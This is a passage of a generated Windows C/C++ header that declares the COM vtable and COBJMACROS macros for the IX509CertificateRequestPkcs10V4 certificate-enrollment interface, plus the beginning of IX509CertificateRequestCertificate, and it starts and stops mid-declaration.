X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AttestPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AttestPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AttestationEncryptionCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AttestationEncryptionCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ChallengePassword )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ChallengePassword )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClaimType )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out KeyAttestationClaimType *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClaimType )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ KeyAttestationClaimType Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AttestPrivateKeyPreferred )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AttestPrivateKeyPreferred )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs10V4Vtbl;\n\n    interface IX509CertificateRequestPkcs10V4\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs10V4Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs10V4_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs10V4_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs10V4_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs10V4_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs10V4_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs10V4_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs10V4_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs10V4_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs10V4_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs10V4_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs10V4_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs10V4_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs10V4_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestPkcs10V4_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestPkcs10V4_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V4_InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V4_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestPkcs10V4_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n\n#define IX509CertificateRequestPkcs10V4_get_AttestPrivateKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AttestPrivateKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_AttestPrivateKey(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AttestPrivateKey(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_AttestationEncryptionCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_AttestationEncryptionCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_AttestationEncryptionCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_AttestationEncryptionCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_EncryptionAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_EncryptionAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_EncryptionStrength(This,Value)\t\\\n    ( (This)->lpVtbl -> put_EncryptionStrength(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_ChallengePassword(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ChallengePassword(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_ChallengePassword(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ChallengePassword(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n\n#define IX509CertificateRequestPkcs10V4_get_ClaimType(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClaimType(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_ClaimType(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClaimType(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V4_get_AttestPrivateKeyPreferred(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AttestPrivateKeyPreferred(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V4_put_AttestPrivateKeyPreferred(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AttestPrivateKeyPreferred(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs10V4_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCertificate_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCertificate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCertificate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab343-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCertificate : public IX509CertificateRequestPkcs10\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE CheckPublicKeySignature( \n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Issuer( \n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Issuer( \n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NotBefore( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NotBefore( \n            /* [in] */ DATE Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NotAfter( \n            /* [retval][out] */ __RPC__out DATE *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NotAfter( \n            /* [in] */ DATE Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SerialNumber( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SerialNumber( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SignerCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCertificateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCertificate * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ 